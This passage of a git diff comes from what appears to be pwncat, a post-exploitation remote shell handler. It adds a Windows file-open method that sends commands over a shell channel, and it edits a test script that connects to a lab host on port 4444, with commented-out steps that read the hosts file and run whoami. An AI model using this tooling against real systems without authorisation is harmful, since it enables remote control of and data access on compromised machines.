"rwb": + raise PlatformError(f"{char}: unknown file mode") + + # Save this just in case we are opening a text-mode stream + line_buffering = buffering == -1 or buffering == 1 + + # For text-mode files, use default buffering for the underlying binary + # stream. + if "b" not in mode: + buffering = -1 + + self.channel.send(f"open\n{str(path)}\nmode\n".encode("utf-8")) + result = self.channel.recvuntil(b"\n").strip() + + try: + handle = int(result) + except ValueError: + raise FileNotFoundError(str(path)) + + stream = WindowsFile(self, mode, handle) + + if "b" not in mode: + stream = TextIOWrapper( + stream, + encoding=encoding, + errors=errors, + newline=newline, + write_through=True, + line_buffering=line_buffering, ) - self.logger.info(command.rstrip("\n")) - self.channel.send(command.encode("utf-8")) - - return + return stream diff --git a/test.py b/test.py index 98a7315..ba70756 100755 --- a/test.py +++ b/test.py @@ -1,5 +1,8 @@ #!./env/bin/python +import subprocess + import pwncat.manager +import pwncat.platform.windows import time # Create a manager @@ -8,21 +11,17 @@ manager = pwncat.manager.Manager("data/pwncatrc") # Establish a session session = manager.create_session("windows", host="192.168.122.11", port=4444) -session.platform.channel.send( - b""" -csharp -/* ENDASM */ -class command { - public void main() - { - System.Console.WriteLine("We can execute C# Now!"); - } -} -/* ENDBLOCK */ -powershell -Write-Host "And we can execute powershell!" -# ENDBLOCK -""" -) - manager.interactive() + +# hosts = ( +# session.platform.Path("C:\\") / "Windows" / "System32" / "drivers" / "etc" / "hosts" +# ) +# with hosts.open() as filp: +# manager.log("Read etc hosts:") +# manager.log(filp.read()) +# +# p = session.platform.Popen(["whoami.exe"], stdout=subprocess.PIPE, text=True) +# manager.log(f"Current user: {p.communicate()[0].strip()}") +# manager.log(f"Process Exit Status: {p.returncode}") +# +# manager.interactive()